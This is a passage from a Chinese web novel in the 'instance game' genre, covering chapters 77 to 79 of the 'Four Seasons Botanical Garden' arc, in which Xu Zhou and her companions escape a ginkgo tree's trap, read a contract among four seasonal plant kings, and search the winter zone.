“想。”许舟高傲冷淡地说道。
谁知，对面的声音停住了两三秒，似是觉得许舟突然的答应异乎寻常。
“你只需要帮助我们秋区的植物引导杀害游客，游客身上的财物一律归你。”声音中难掩兴奋，却故作镇静地和许舟介绍合作模式。“你会获得很多钱财。”
“哦。”许舟抬了抬下巴，“不干。”
“你…不是答应了吗？”来者惊中有怒地问道。
“我什么时候答应你了？你问我想不想要更好的生活，我当然想。”许舟摊了摊手，却满脸的无辜。
“那你就永远别想离开这条员工通道。”对方放下狠话，静默不言。
“真是霸王条款。我不答应还不让走？”许舟吐槽道。
回应许舟的是长久的寂静。
回头看看满墙的黄色银杏叶，既然没有退路，那也只能硬着头皮前进。
许舟不由分说地走进了这未知的员工通道。
原本温暖的灯光在此刻幽幽地亮着，将长长的员工通道切割成了一段段斑驳的光影。
员工通道变得低沉而干燥。
而尽头处，却是一笔浓重的黑暗，刻画着未知。
许舟踏着轻盈的步伐向前方的黑暗走去。
然而…
时间一分一秒地过去。
每当许舟向前走出一步，两侧的灯带就会向走廊的尽头延伸一步的距离，而黑暗的尽头亦随着许舟的前进而前进，保持着能让许舟见到却始终不可及的距离。
“鬼打墙？”许舟喃喃道。
而满腹怨气的鬼打墙制造者如冷战般始终不给予回应，在暗地里看着许舟的反应。
“前面行不通，那就往回走。”已经向前走了不知多少步的许舟回过头，却看见一墙的黄色银杏叶仍然处在自己身后的不远处。
似乎是在告诉她——你从未远离我。
许舟沉下心来，观察起两侧的墙纸。
在平淡无奇的墙上，墙纸自由铺展。许舟轻抚墙面，发现墙纸与地面交界处的一角正在空气中轻轻颤动，泄露着它的不同寻常。
“这应该不算损坏公物吧？”
许舟果断地把墙纸撕开，露出了藏在后面的一小片银杏叶，叶子上轻轻地放着一张破旧的纸条。
泛黄的痕迹预示着纸条的年龄。
***
找到我，就能离开这里。
***
许舟看着纸条上这样一句荒诞不经的话语，陷入了沉思。
副本中从不会有无解的谜题，那这句话，便是鬼打墙的破解之法？
纸条中的“我”又是谁呢？
许舟勾了勾唇角：“我知道是谁了。”
“谁？”
久未出现的声音似乎被许舟这样一句前后不搭调的话语勾起了兴趣，进而迫不及待地问道。
“这里除了你和我，还有谁呀？”许舟用及其夸张的语气说道，“不就是找你嘛。”
“啧。那你知道我在哪吗？”
许舟瞥了眼身旁的银杏叶墙，说道：“你不就是银杏树吗？我没猜错的话，你就在银杏叶墙后吧？”
“不是不是！”
许舟笑盈盈地说道：“这里的工作人员或多或少都知道植物有一些问题，你不就是笃定我们不敢走入这面银杏叶墙中吗？其实，走进这面银杏叶墙中，就能离开你的鬼打墙。”
“哼！算你聪明！后会有期！”
这位银杏树态度飞速转变，似乎在听了许舟的话语后乖乖地承认了自己技不如人。
许舟刚要穿入银杏叶墙中以脱离鬼打墙，便又顿住了脚步。
她坐在了原地，从身上掏出了化妆镜，气定神闲地在镜子中端详自己的容貌。
那银杏树开始时一言不发，随后忍无可忍：“你也太侮辱树了！！！”
“唉，刚刚进来时被你吹的风弄乱了头发，打理一下再出去。”说着，许舟竟然真的抬手捋捋头发。
“要走就快走！”银杏树气愤地嚷嚷。
“好好好。”许舟满口答应着，站起了身。
“这就对了嘛。”银杏树似乎很为许舟的懂事感到欣慰。
“你走反了！”片刻，银杏树又嚷嚷起来。
只见许舟走着与银杏叶墙相反的方向，依旧目不离镜，似乎仍沉浸在打理头发之中。
“哦，走反了呀。”终于，许舟后知后觉地抬起头，看向仍跟在身后的跟屁虫银杏叶墙。
还没等银杏树开口，许舟便转过头来，目光坚定地看向员工通道贴有复古花纹墙纸的墙面，直直地一头撞了进去。
迎接许舟的并不是一处鼓包和撞墙的疼痛，而是回归温暖与明亮的走道。
回头看去，是员工通道的入口，银杏叶墙已然匿迹。
曾被许舟撕开的墙纸完好依旧，宛若一切从未发生。
“你是什么时候发现的？”银杏树不再怒气冲天地嚷嚷，而是阴沉地问道。
“你态度转变得太快了，快到不正常。”许舟放下手中的化妆镜，沉着冷静地说道，“我只能理解成墙纸内的纸条，是你故意提供给我的。”<
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p>“你想诱导我，进入你的银杏叶墙之中。”许舟语气冰冷地下了定论。
“仅仅因为我的态度，也不足以说明纸条是假的。”银杏树有些不服气地反驳，“如果真是这样，你的赌性未免太大。”
“所以我掏出了镜子。”许舟得意地晃了晃手里的化妆镜，“镜子能照出现实世界看不见的东西，说不定也能照出真实的道路。”
“你刚刚照了那么久镜子，就是在看出路？”银杏树难以置信地说道。
“哦，对了。”许舟挠挠后脑勺，似乎在回忆着什么，“还有一件事，我见过你们秋区植物杀人的方式。”
“什么时候？”
“就在不久之前。”许舟云淡风轻得浅笑，“那是一个麦田，淹没了一名游客。”
“所以我就此猜测，你们秋区植物的杀人方式，是以各种方式诱导人类进入你们的植物内部，进而淹死对方。”紧接着，许舟说道，“如果我真的进入了银杏叶墙，下一个淹死的，就是我了。”
“后会有期。”
这是银杏树第二次说出这四个字，第一次是诱骗，而这次，却是货真价实的敬重。
“对了，那个诱导游客进入麦田的黄衣绿化工，应该是这里答应了和你们合作，从而敛财的工作人员吧？”
银杏树选择了沉默。
那黄衣绿化工的存在，便不得而知。
“什么合作？”沈霁神情焦虑地走进员工通道，问道，“刚刚员工通道的门口长满了银杏树叶，拦住了进去的路，我叫你你也没有回应。”
“说来话长，关于一个全新的树精。”许舟放不下树精的梗，而向沈霁娓娓道来鬼打墙的事情。
“这鬼打墙也太阴狠了。”听了许舟的描述，沈霁不由得说道。
“不是鬼打墙，是树打墙。”许舟轻描淡写地说道。
走着走着，员工通道便呈现出一个下坡，许舟和沈霁顺坡而下，见到了一条更长的走廊。
“这员工通道还挺长的。”许舟不禁加快了脚步，“而且大部分应该都在地下。”
所幸两个人起床起得早，早起的鸟儿遇不到其他人，平静祥和地走了十几分钟。
前方出现了一个比较大的大厅，中央是一座电梯。
而电梯前后左右各有一条通道，分别标注着春、夏、秋、冬，应该是去往不同区的道路。
而许舟所在的道路便标注着夏区。
电梯此刻正停留在负一楼。
“我想先进电梯看看。”许舟说道，“直觉告诉我，这个电梯通向的地方，会有不一样的线索。”
听了许舟的话，沈霁二话不说地按下了电梯键，电梯门应声而开。
“原来我们现在所在的地方就是负一楼。”许舟走进了电梯，看向墙上的按键。
原来这个电梯，只通向负一楼、一楼与二楼。
沈霁思索片刻，说道：“这里是四区交界点，一楼应该就是园长平时出入四个区的那座小房子。”
许舟点点头，说道：“一楼可能会遇到人，我们直接去二楼。”
说罢，许舟的指尖便向“2”键靠近。
然而，正当她的指尖悬在“2”键之上而未按下时，电梯的显示屏自己动了，其上出现了个向上的箭头。
电梯缓缓上行。
许舟和沈霁惊讶地对视一眼——有人在一楼或二楼按下了电梯！
而自己，如同瓮中之鳖。
77. 四季植物园（17）
怎么办？怎么办？
电梯厢丝毫不顾及许舟的感受，从一而终地升上了楼。
当显示屏的数字显示为“1”时，电梯厢的门并没有打开，更没有停下的迹象。
直到数字显示为“2”，伴随着一声清脆悦耳的“叮咚”，电梯门打开了。
电梯内的许舟和沈霁对外展露无遗。
而许舟的眸光透过睫毛，落在了电梯外的人身上。
来人穿着一条淡黄色的连衣裙，一头柔顺的长发轻盈地落到腰间，一朵朵金黄细小，仅如米粒般大的花朵点缀在发间。
女孩的两颊白皙，却依然有如繁星点点的朵朵花瓣。
沈霁讶然，有些呆愣地看了看女孩，又看向身旁的许舟。
两人除了所装扮的植物不同外，形态特征简直一模一样。
“曲心奕？”沈霁身旁的许舟表现得更为惊讶，她张了张嘴，发出难以置信的声音。
“许舟？”曲心奕显然也吃了一惊。
“你们认识啊？”沈霁云里雾里地问道。
电梯门在三人的说话声中开始合上。
“诶诶诶，你们先出来。”曲心奕果断伸出手，拦在了电梯门之间，而能感应到人体的电梯门停滞了闭合的动作，缓缓重新张开。
“走啊，先出去再说。”许舟侧头向沈霁眨眨眼，随后便向前两步走出了电梯。
曲心奕抬起胳膊，一把揽过许舟的肩膀，在她的耳边低语道：“这就是你之前说的，不止一次在副本相遇的那位？”
许舟心虚地抬眸看了沈霁一眼，用极其低微的音量“嗯”了一声。
曲心奕这一动作，让来自她身上花瓣的清香自然而然地流入许舟的鼻翼。
是芳香的桂花。
“真认识？”沈霁如坐云雾，看着彼此热络的曲心奕和许舟。
“喂，我们BOSS阵营的事情...”曲心奕欲言又止。
曲心奕的音量让沈霁很难听清，不知道曲心奕故意压低音量的沈霁问道：“你说什么？”
曲心奕见沈霁的反应则了然，许舟并没有泄露出BOSS阵营的事情，她“和蔼欣慰”地看着沈霁，并不回应。
“咳咳。”许舟清清嗓子，一个滑步来到两人中间，大方自如地介绍道，“这位，是我同事，和我一起创造了副本世界。当然了，副本内容的设计都不归我们管，我们就是来测试副本的。”
曲心奕捂了捂嘴，嘴角却比AK还难压。
过了半晌，她大大方方地伸出右手，递给沈霁：“很高兴认识你，我是她同事。”
沈霁迟疑片刻，与曲心奕握了握手：“很高兴认识你。我叫沈霁。”
“哦，我叫曲心奕。”还没缓过神来的曲心奕仍惦记着许舟那句“和我一起创造了副本世界”，她不紧不慢地补充道。
“我听到了。”沈霁点点头，而后看向许舟，“许舟。”
“嗯...”许舟尴尬地笑了笑。
虽然已经认识了一段时间，但自己的名字被对方知晓，还是让许舟多少有些不习惯。
“你怎么在这？”许舟隐约回想起自己出现在这的原意，出声问道。
“我本是春区的引导员。”曲心奕夸张地说道，“重生后，我要去夏区工作了。”
“重生？排班这么一件小事，怎么到你嘴里就这么盛大？”许舟忍不住讥讽道。
“听我说完！！！”曲心奕瞪了她一眼，继续说道，“但我发现，我并不是植物园真正的引导员，而是冒充了这里的一个工作人员，要去冬区工作的也是这个人。”
“最后的最后，为了不与这个人撞脸，我决定去秋区工作。”曲心奕浅浅一笑。
许舟叉着腰，神情看不出一丝端倪，云淡风轻地点点头。
“嗯？你不惊讶吗？”曲心奕歪头道。
“我的真实身份也不是这里的引导员。”许舟慢条斯理地说，“我是冒充了一个叫江年盈的工作人员，她的排班要去冬区，我为了避开她，也是去秋区。”
“好好好。”曲心奕睫羽微动，看向正对电梯的方向，“这里的二楼是园长的办公室，但我没找到什么东西。”
“再去看看。”许舟轻飘飘地开口，走向前面的园长办公室。
“许舟大人出马，小的哪有不奉陪的道理？”曲心奕快步跟了上去，向还在原地的沈霁挥了挥手。
办公室的门是大开着，里面空无一人。
园长的办公室简直是极简主义的代名词。
一张办公桌，一个转椅，一排文件架，就是园长办公室的全部了。
“你看，真找不到什么。”曲心奕无可奈何地摊了摊手。
许舟并不说话，自若地走进办公室，观察起周边的环境。
“你不去看看文件架？”曲心奕眸心的惊讶一掠而过。
“我很相信你呀。文件架你肯定早看过了。”许舟绽放了一个笑容，“线索肯定在不起眼的地方。”
许舟转过身，看向园长办公室大门的方向。
“这门，是你开的吗？”
园长办公室的门是内开门，此刻门正与办公室内的墙壁紧贴。
“不是啊，我来的时候就是开着的了。如果是我开的，我离开时肯定不会让它保持打开的样子，这不是在向园长示威，告诉他有人来过么。我可没有这么嚣张。”曲心奕摊摊手。
语毕，曲心奕意识到自己遗漏了什么，深邃的眸底掀起了一瞬间的惊涛。
“所以，真正的线索就在门后。”许舟透露出自信的锋芒，一把将大门关上。
果不其然，门靠房间那一侧上挂着一个篮子，篮子里随意地摆放着几份零零散散的文件。
许舟、沈霁和曲心奕一人拿了几份，埋头看了起来。
“什么鬼？植物园附近好吃的外卖？”许舟看着手里的文件，唇角溢出一丝苦笑。
“你们看这个，这是份合同。”曲心奕将一份文件递到了两人跟前。
***
合同前情：
1.十年前，春夏秋冬四区植物觉醒，拥有了更强的能量与无尽的生命力。植物杀人可夺取人的生命力，以强化自己的力量。
2.四区内部分别评选出自己区内最强大的植物作为生命之冠，以统领各自区内的植物。
3.近期，各区生命之冠萌生统领其他区的想法，最终四败俱伤，为保持植物园的平衡与稳定，特设立此合同。
***
“懂了，简单来说，这就是个四区植物之王争权夺利的故事。”曲心奕用言简意赅的语言概括道。
“差不多吧。这些植物还给分区内的老大起了个王号，叫生命之冠。”许舟咯咯笑道。
“话说，我们还没见过四区的生命之冠吧？”曲心奕沉缓道。
“不。”许舟摇了摇头。
沈霁随即不轻不重地淡然道：“四区的四个生命之冠，我们已经见到过两个区
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的了。”
“你们的意思是...”曲心奕语气有些慌乱，忽地又很快缓下来。
“秋区的生命之冠，就是你。”许舟抬眸看向曲心奕，缓缓而清晰地说道，“你是桂花。”
植物园的工作人员何其多，如果只是普通的工作人员，根本不符合副本BOSS阵营的身份设定。
那就只能说明，曲心奕和许舟的身份有着更深层的秘密。
如果她们是四个区里其中两个区的植物之王，或者说生命之冠，那就合情合理了。
“我想起来我刚进副本的时候，那晚我用清水拍了拍脸，却弄不下脸上的花瓣。”许舟补充道，“当时以为是这服装道具质量好，现在才反应过来这花瓣本就属于我。”
其实这也是假园长——树精袖口的叶子给了许舟灵感。
说罢，许舟瞟了沈霁一眼：“你还真是一语成谶了，当时说我没有工作证的家伙。”
“咳咳咳。”
一瞬间的恍惚后，曲心奕的世界再次清晰：“其实还有一个点——就是我们所冒充的工作人员。工作人员那么多，为什么我们非得冒充这两个特定工作人员呢？”
想到自己刻意避开排班到冬区的江年盈而选择前往秋区，许舟就觉得偷感很重。
为什么非要选择江年盈冒充呢？
唯一的解释...
许舟恍然大悟：“因为这里的不同引导员所扮演的植物是不同的，江年盈扮演的就是我这种植物。而我作为植物化作人形，或多或少保留了这种植物的特征，因此只能选择我这种植物的扮演引导员——江年盈——来冒充。”
“嘻嘻，那这么说来，我冒充的引导员，扮演的就是桂花啦。”
许舟拍了拍曲心奕的肩膀：“多亏了桂花是种常见的植物，我一闻就闻出来了，不然我也不会往这方面想。”
“不过...你是哪个区的生命之冠？”曲心奕往后走两步，上下打量着许舟，“看样子是种罕见的植物呢。”
“有点像仙客来。“沈霁思索片刻，“但是我不记得仙客来的花期了。”
“不需要知道仙客来的花期。”许舟昂首挺胸，心中的混沌明朗，“可以参考李梅梅。”
“李梅梅，谁啊？”这下子轮到曲心奕一头雾水了。
许舟这才反应过来曲心奕不认识李梅梅，简要介绍了一下这位原先老缠着自己的跟屁虫。
“懂了，这是你的手下。”听了许舟的话，曲心奕眸光微亮，“不过她在植物中的威望和实力应该和你差不多，从她对你的态度就能看出来，并没有过分谦卑。”
“没错，我一直在想她为什么在见到我后，当着这么多人的面自称李梅梅。”许舟分析道，“她冒充的绿化工叫李婉清，但她介绍时并没有选择这个名字。”
“因为她在提醒你，她是梅花。”沈霁心中的迷雾也渐渐被许舟话语吹散，“梅花花期主要是冬季吧？”
“所以我，仙客来，就是冬区的植物之王。”
“继续看吧，刚刚的还只是合同的上半部分。”曲心奕连忙提醒。
许舟连连点头。
她直觉合同的后半部分便与李梅梅口中一直要找的东西有关，更直指这个竞速型副本竞的到底是哪门子速。
然而就在众人的目光聚焦回合同之上时，合同的下半部分被园长办公室的门上骤然伸出的一片叶子撕扯下来，而后以迅雷不及掩耳之势抢走了。
“追！”
78. 四季植物园（18）
慌乱中不知是谁喊了这么一句“追”，三人同时以百米冲刺的速度飞奔出去。
与此同时，AI女音毫无波澜地在许舟脑海中播报。
——恭喜解锁剧情碎片“植物战争”
——剧情完成度达到50%
未来得及细细品味，许舟就迈出了园长办公室的大门，顺手恢复办公室房门大开的状态，以免园长察觉。
而一幅十分诡异却又充满戏剧性的画面展露在了三人的眼前。
一片金黄色的树叶被不明力量从中央折叠，夹着半页合同迅速向远方飞去。
许舟三步并作两步，没多远后便惊觉叶子的形态有些熟悉——这不是那位制造鬼打墙的梧桐树妖吗？
没记错的话，这位梧桐树妖是秋区的植物吧？
想到这里，许舟停下脚步，没来得及反应的曲心奕和沈霁因惯性继续向前几步后才缓缓停下。
没见过梧桐树妖的曲心奕似有若无地疑惑道：“不追吗？叶子跑了！”
许舟语调微扬：“你让它回来就好。”
“对，你让它回来就好。”听许舟讲过鬼打墙故事的沈霁轻飘飘地重复她的话语。
曲心奕停顿片刻，似是在斟酌用词，而后眉心微动：“这是秋区的植物？你们见过？”
许舟云淡风轻地说道：“没错，这是个梧桐树妖。是时候发挥你秋区植物之王的威力了。”
说罢，许舟向曲心奕挤挤眼睛。
曲心奕双手叉腰，无奈道：“植物之王多难听啊。还是沿用副本的叫法——生命之冠吧。”
说罢，挂名生命之冠的曲心奕刻意加大音量：“喂，刚刚走的那片叶子，看清楚我是谁。”
好好好，几秒之间，已然消失在三人视野里的那片叶子又慢悠悠地出现在走廊之中。
它保持与三人不远不近的距离，似乎在审视着各位。
良久，梧桐叶片发出不解的声音：“怎么又是你啊？刚刚逃离我鬼打墙的那位？”
“托你的福，当时你不是说''后会有期''来着？”许舟懒洋洋地歪了歪头，“还有，让你看清楚的人不是我。”
“不是你？”叶子的音调抬高，莫名有些刺耳。
它慢慢地夹着半份合同移动到沈霁跟前：“我不认识你啊？”
沈霁点点头：“确实。”
叶子：“...?”
后知后觉的梧桐树叶飘到了曲心奕跟前：“我也不认识...”
紧接着，就是一时的语塞。
“我去！！！桂花大人！！！”
如雷贯耳的声音在沉默之后爆发。
“小的有眼不识泰山，看到有几个人来这看合同，为了避免我们植物的秘密被发现，所以才抢走了合同。”
梧桐树叶奶声奶气地解释道。
曲心奕“慈祥”地一笑：“乖，下次不要这样了。”
说罢，她向梧桐树叶摊开自己的右手，小叶子乖巧地将半页合同放到了曲心奕地手上。
由于刚刚的动作激烈，半页合同上出现了些折痕与褶皱，小叶子还贴心地用自己的叶柄把它抚平。
紧接着，未等曲心奕张开，小叶子又飘到了许舟跟前：“刚刚真是太失礼了。我不知道你和我们区生命之冠是好朋友，抱歉抱歉。”
“没事，你走吧。”大人不记小人过的许舟向小叶子挥了挥手，示意它离开。
善于察言观色的小叶子见三人情绪稳定，把握住这个溜之大吉的机会，飞快地一走了之。
当许舟再抬眸时，小叶子的影都见不着了。
“我刚刚观察了一下梧桐叶的表现，它应该没意识到你是夏区的植物之王。”沈霁在确定自己已不在小叶子的“监视范围”后说道。
许舟抬了抬眼皮：“我认同曲心奕的说法。植物之王太难听，还是叫生命之冠吧。”
“...有区别么。”
“有！”许舟和曲心奕不约而同地说道。
“所以，各区的植物应该能辨别化作人形的自己区的植物，但是无法辨别其他区的植物人形。”许舟正色道。
“先看看这半份合同吧。”曲心奕招呼道。
***
合同内容：
1.春夏秋冬四区的生命之冠取出生命之心交由园长。
2.园长随机将四区的生命之心分配给不同的季节区，但不可将生命之心交还给原区。
3.四区各持有一其他季节区的生命之心进行藏匿，彼此制衡。
注：生命之心是植物最重要的力量储存载体。
签名：春区海棠花、夏区醉蝶花、秋区桂花、冬区仙客来、园长冷望飞。
***
“看来除了我们秋冬两区，春区生命之冠是海棠花，夏区是醉蝶花。”许舟梳理了一下合同内容，用更浅显的语言说道，“我们可以把生命之心理解成电池，把植物理解成电子设备，生命之心可以为植物提供力量。”
“当年的四区战争后，每个区的生命之冠都把自己的生命之心交给了园长，园长将四区的生命之心打乱重组，乱序发放给了四个区保管，让它们达成相互制衡的关系。”沈霁思索道。
“以秋区为例，桂花——我的生命之心可能现在被春夏冬三个区所藏匿，但唯独不可能存在于秋区。”曲心奕遗憾地说道，“看来我不能和你一起去秋区了。”
许舟也有些可惜地撇了撇嘴：“确实。现在看来，虽然四个区的生命之冠都交出了生命之心，但欲望一旦产生过就很难彻底湮灭，我们现在作为化作人形的植物之冠，目的应该就是潜入其他区找到自己的生命之心。”
这也是“四季植物园”副本竞速的含义所在。
谁先找到属于自己的植物之心，谁就能最先恢复全部的力量，趁其他区生命之冠虚弱之际而入，一举统领整个四季植物园。
沈霁联想起刚进入“四季植物园”时系统的话语，道：“对了，我进入副本时，收到的任务是找到自己的老大，帮助老大找到某样东西，指的应该就是生命之心。”
“你的老大应该就是你的腕带颜色对应的季节区生命之冠。只不过，排除掉红色夏区与黄色秋区之后，蓝到底指代春还是冬呢？”许舟抛出了一个沉积在心中已久的问题。
“最坏的情况，我们处在三个不同的阵营。一个春一个秋一个冬。”沈霁听出许舟的弦外之音。
然而许舟却想到了“夕望图书馆”的尤里斯与自己，当时两人同时注射药剂完成任务。
但这种模式，未免太卡bug了，真的还
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能行得通吗？
但许舟仍旧故作轻松地说道：“我们找到生命之心的位置，再做商讨。”
与此同时，系统音再次在许舟脑海响起，与上次响起的时间间隔极短，让她有些猝不及防。
——恭喜解锁剧情碎片“暗流涌动”
——剧情完成度达到70%
——检测到您的剧情完成度已经达到60%，你可以选择继续副本，也可以选择直接通关。
——你有三分钟的时间做出选择。
周遭的空气被静默包裹，时间像是凝滞。
原来竞速与传统剧情完成度结合的副本，在完成度达到60%后仍可以提前离开。
至于奖励什么的...不用说也知道，选择继续副本提高完成度，同时完成竞速任务，获得的奖励会大大增多。
而好在，这种副本少了“已获知真相的玩家数目”的计数，减轻了许舟的很多疑虑。
究其原因，可能是竞速型副本需要讲究BOSS阵营玩家与普通玩家的合作吧。
因此BOSS阵营玩家不必过度隐藏副本中的信息与剧情。
在副本中“摸爬滚打”几次的许舟早已熟知副本套路，她甚至不经脑子便毫不犹豫地回应道：“我选择继续。”
——请确认。
“我确认。”
哪怕空气看不见摸不着，许舟也可以清晰地感觉到，在她最后一句话话音未落之际，周遭的空气便恢复了往常的流动。
这是她与系统无声的交流与另类的默契。
系统似乎只是照例询问，实际上早已知晓许舟的答案。
许舟眸光微动，看向曲心奕荡着笑意的眼角眉梢——
她做了与自己一样的选择。
“我去你的冬区看看。”曲心奕轻快地说道，“冬区老大，你可要让你的植物小弟们多罩着我。”
“好好好。”许舟满口答应，随后又说道，“我本来也得先和你一起去冬区。”
“哇哦。”曲心奕惊讶地鼓起了掌，“但我记得你冒充的那个叫江年盈的工作人员，她在冬区工作吧？你为什么突然要去冬区？”
“我在夏区待久了，身子有点不适应。”
生活不易，许舟叹气。
“可能是因为我是冬区植物，夏区与冬区的环境差异终究比较大，刚开始的时候我感受不到热，估计是因为刚离开冬区，但过了一天后立刻汗流浃背。”许舟解释道，“你是秋区植物，与其他季节温差不会太大，应该不用回秋区。”
“这样啊。”沈霁若有所思地说道，“怪不得埋盆栽时，感觉你有点恍惚。”
“那你呢？去哪？”
“我也先去冬区。我得确认一下蓝色腕带对应的季节区。我在冬区找到其他玩家，看看他们的腕带就知道了。”沈霁回答。
“嗯，确实。”许舟认可地说，“虽然不同区的游客有办法偷渡到其他区，但区内颜色对应的本区游客应该还是数量最多的。”
说话间，三人走进了电梯，按下了“-1”楼，前往员工通道。
然而当电梯平缓地来到负一楼并且开门后，一个熟悉的人影出现在了电梯前。
许舟瞪大了眼睛，从喉咙深处吐出三个字：
“左通海？”
79. 四季植物园（19）
左通海，不是早已死在夏区，成为夏区永恒的一座冰雕了吗？
许舟在讶然中沉默。
面前的左通海的眼中却也闪过一抹惊讶，但仅仅在弹指一挥间，他便拂去那抹失色，礼貌地问道：“那个...我在找洗手间时，不知道怎么就走到这里了。”
许舟眼神像裹着刀子，嘴里那句“夏区的员工通道就建立在卫生间旁”生生被压了下去。
自己和曲心奕作为“普通员工”出现在电梯里本就解释不清，而沈霁更是与左通海一样的普通玩家。
说白了，三人行迹不正，没来由指责面前死而复生的左通海。
许舟与左通海目光锁定，无声地对峙一阵。
良久，许舟眼神锋利而冷然：“员工通道里没有洗手间，快走吧。”
左通海勾唇一笑：“好的，谢谢你。”
然而语毕，他并未选择原路返回，而是径直走向春区的过道。
曲心奕心念闪动，已然通过两人的对峙猜到八分：“左通海，是在夏区死去的人吧？”
“对。”许舟明眸一蹬，看向左通海离去的身影，“他进员工通道，目的应该就是去往春区。只不过他刚到这电梯大厅，便在中央电梯口碰到了刚刚下楼的我们。”
“这人看着，就不简单呢。”曲心奕玩味地说道。
“不管怎么样，先去冬区吧。”沈霁看向左通海背影的目光带着淡淡审视，说罢便率先找到通向冬区的员工通道，迈步而前。
“对了对了，”身后的曲心奕伏在许舟肩上，耳语道，“我发现在这个副本里，我的异能用不了了。”
曲心奕的话一语中的地提出许舟之前埋藏在心中的问题，她的“异能中介”以及借助“异能中介”获取的其他异能都用不了了。
缄默少顷，许舟下意识地看向远去的被自己隐瞒的沈霁，而后小声道：“我也是。”
“如果你也是，那我就猜到是什么原因了。”曲心奕俏皮地眨眨眼。
许舟不甘示弱，回敬了一个微笑：“我也知道原因了。”
在缤纷商场上，两个人曾经提到过一个话题，这个话题还涉及“夕望图书馆”的索菲亚。
当所扮演副本角色拥有异能时，BOSS阵营玩家就会短暂继承这个异能，同时失去原来的异能。
“那我们的新能力是什么呢？”曲心奕眼睛发光，搓着手跃跃欲试，“真想找个幸运观众试试。”
说罢，她期待地看向许舟。
秋区麦田的淹没式异能对许舟而言历历在目，她贴心地用手把曲心奕的脸别回去，说道：“我不是你的幸运观众。秋区的异能应该是用大量的花叶淹死一个人。”
紧接着，许舟想到曲心奕用一堆桂花把别人淹死，那画面太诡谲离奇，又有些滑稽。
想到这，她把头摇得像拨浪鼓：“再说了，知道异能名字前应该用不了异能，你还是别期待了。”
“呜呜呜。”曲心奕夸张地呜咽两声，而后正色，“我之前在其他区也看见了冬区植物的能力，可以把人变成冰雕。”
“我也看见类似的了，刚刚那个死而复生的左通海就曾经变成冰雕。”许舟思索道。
“冬区的异能不简单哦。我怀疑，变成冰雕只是冬区能力的一部分。”曲心奕神秘兮兮地说道。
听了她的话，许舟眼神闪过一瞬光芒：“也就是说，冰雕融化后，呈现的效果才是冬区异能的核心。”
“没错没错，我在我原来的区亲眼见证冰雕人融化，那个人就和什么事也没发生过一样。后来才发现，冰雕人的意识已经完全被把他变成冰雕的冬区植物所操控。”曲心奕笑盈盈地揭秘冬区异能的真相。
“喂，那你知不知道，冬区植物异能叫什么呀？”曲心奕撩起了许舟的好奇，她迫不及待地问道。
“不知...”
两人不约而同地抬眸，沈霁正停在冬区通道前，用意味深长的眼神琢磨着嘀嘀咕咕的许舟，有如接小孩从幼儿园回家的家长，而小孩还在和玩伴难舍难分。
许舟尴尬地“咳咳”两声，拉上曲心奕快步跟了上去。
沈霁并不言语，默默回过头继续向前走去，在许舟看不到的角度微微勾起唇角，流露出一个别有深意的笑容。
...
正如夏区员工通道直通夏区主题酒店一般，当三人掐着员工上班时间，小心翼翼地像三只小猫般从冬区员工通道离开，时不时张望周围时，发现自己来到了冬区主题酒店之内。
不同于夏区酒店的绿色壁纸，冬区酒店的墙面是做旧的层层雪花，地上则是模拟的半透明的薄冰材质。
哪怕这是自己的地盘，哪怕深知地上的是假冰，但许舟还是一步一步轻轻地走在冬区酒店的地上，生怕迈重了脚步将冰踩碎，一不留神就掉进深水之中。
冬天活跃的植物很少，在冬区酒店的大堂晃了一阵，也只是偶尔见到一株两株绿植。
为缩减搜索范围，从而节约时间，许舟根据夏季园区的布局说道：“我们可以先去冬区回收站看看。根据镜框上的规则，每个区都有回收站。”
曲心奕若有所思地点点头。
虽然两人没正面沟通过园区的规则，但曲心奕本也不是等闲之辈，自然而然地已经探查出园区告示牌和镜框上的七条真规则与一条假规则。
虽然分区不同，但布局大抵相同。
三人从酒店走出，映入眼帘的是一处大池子。
只不过在夏区，池中荷花盛开朵朵，这里只是清冷的冰面。
顺着在其他区找回收站的记忆，三个人沿着林中小路寻觅冬区的回收站。
小路光线明亮，冬天的树枝秃了顶，偶挂着的洁白的雪也在微风的抚摸下落了地，为阳光的穿梭提供了空间。
“有点冷。”曲心奕缩了缩肩膀，咬咬牙道，“不愧是冬区。清冷，荒凉。”
听了曲心奕的话，从夏区来到冬区的沈霁更是不由自主地抱了抱胳膊。
但当许舟看向他时，他又一秒放下前一刻还紧环的双臂，故作轻松地哼着小曲，就像是一个没事人一样。
而对本就是冬区生命之冠的许舟来说，这一刻神清气爽，在夏区久留的不适顷刻烟消云散。
她笑嘻嘻地对一秒变换的沈霁说道：“唉，这冬区一点也不冷。你说是不是啊？”
“没...没错。”沈霁抬了抬下巴，坚持道。
“啪——
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”急促的声音从前方传来，打断了三人少有的轻松，“啪——”
“是脚踩在冰面上跑动的声音！”回归冬区怀抱的许舟此刻头脑无比清醒，她当下立断道。
抽回目光，移送向远处。
前面是一块偌大的冰面，晶莹剔透，闪烁着淡淡的蓝光。
洒落其上的阳光将其分割成无数细碎而耀眼的光芒。
看得出来，冰面的前身是一处大湖。
中间杂乱无章地散落在一面面镜子，而在正对着许舟三人方向，放着一块歪斜的牌子——回收站。
“冬区的回收站也太寒碜了！”曲心奕惊呼，“连个顶都没有，就找个湖乱放！？”
“呜呜呜...”堆积如山的镜子后发出阵阵呜咽，“不要伤害我。”
是刚刚在冰面跑动的人！
许舟快步流星地冲了过去，直到踏上冰面时才缓下脚步，她缓缓挪到镜子后，一声刺耳的“啊”随之而起。
一个陌生的男人蜷缩着身子，慌乱地看着许舟，一点一点地向靠近镜子的方向挪动。
他的手腕，一个蓝色的腕带何其耀眼。
“你很怕我。”许舟的话语不是疑问，而是肯定。
她抬眸环顾四周，瞬间明白了男人如此恐慌的原因。
在镜子山后侧的冰面上，横七竖八地躺着三个人。
而且，是冰雕人。
是三个凝结成冰块的人。
曲心奕和沈霁也在这时赶到，同样被三人冰雕人所震慑。
“这是谁做的！？”曲心奕瞪大眼睛，问道。
许舟正要靠前，安抚恐慌的男人，便被曲心奕一把拉住，许舟回头，对上了曲心奕的眼色。
万一，这个男人是融化后的冰雕人呢？
那他现在的意识，恐怕也已被某种冬季植物所控制。
但许舟撩了一把自己发间的花瓣，笑笑：“你觉得冬区植物会伤害我吗？”
曲心奕会意，缩回了手——许舟所扮演的角色是冬区生命之冠啊，哪怕男人被冬区植物所控制，伤害许舟的可能性也微乎其微。
更何况，根据秋区梧桐叶的表现来看，本区植物是能认出化作人形的生命之冠的。
秋区植物能认出秋区生命之冠曲心奕，冬区植物便能认出冬区生命之冠许舟。
男人抱头，谨慎地看着许舟：“不要伤害我...求你...”
“我们不会伤害你。”许舟郑重其事地说道，“这是谁做的？”
